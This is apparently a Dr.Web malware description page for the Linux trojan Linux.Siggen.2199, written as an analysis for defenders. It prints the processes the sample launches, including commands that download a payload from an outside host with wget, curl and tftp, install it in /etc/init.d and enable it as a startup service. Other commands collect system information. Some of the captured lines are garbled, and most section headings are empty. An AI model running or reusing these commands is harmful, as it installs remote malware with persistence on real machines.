Linux.Siggen.2199

Linux.Siggen.2199

Added to the Dr.Web virus database: 2019-10-06

Virus description added: 2019-10-05

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

Manages services:

Launches processes:

sh -c (killall Netis >/dev/null 2>&1 & killall \" \" >/dev/null 2>&1 & killall \" \" >/dev/null 2>&1) >/dev/null 2>&1
sh -c (cd /etc/init.d;wget http://dynddns.cf/start/help/start -O start;curl http://dynddns.cf/start/help/start -o start;tftp -g -l sshd -r starthelpstart dynddns.cftart;chmod 777 /etc/init.d/startpstart dynddns.cftart;ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart;update-rc.d start defaultstc/rc.d/dynddns.cftart;/lib/systemd/systemd-sysv-install enable startrt;systemctl enable startysv-install enable startrt;chkconfig --add starttysv-install enable startrt;chkconfig start onarttysv-install enable startrt;) &> /dev/null 2>&1
wget http://dynddns.cf/start/help/start -O start
chmod 777 /etc/init.d/startpstart dynddns.cftart
ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart
/lib/systemd/systemd-sysv-install enable startrt
sh -c grep -c ^processor /proc/cpuinfo
grep -c ^processor /proc/cpuinfo
sh -c free|grep \"Mem:\"|awk '{print $2 \" KB\"}'||printf \"Ram Not Foun
free
grep Mem:
awk {print $2 \" KB\"}
sh -c if [ -f /usr/bin/yum ]; then cat /etc/system-release|head -n1; elif [ -f /usr/bin/apt-get ]; then lsb_release -d|awk '{$1= \"\"; print $0}'|head -n1 ; elif [ -f /usr/bin/install ]; then busybox|head -n1|awk '{print $1\" \"$2}';fi
awk {$1= \"\"; print $0}
lsb_release -d
head -n1
sh -c uname -r
uname -r
sh -c uname -n
uname -n
sh -c ps aux | wc -l
ps aux
wc -l

Attempts to kill the following processes:

Network activity:

Awaits incoming connections on ports:

Establishes connection:

HTTP GET requests:

DNS ASK:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity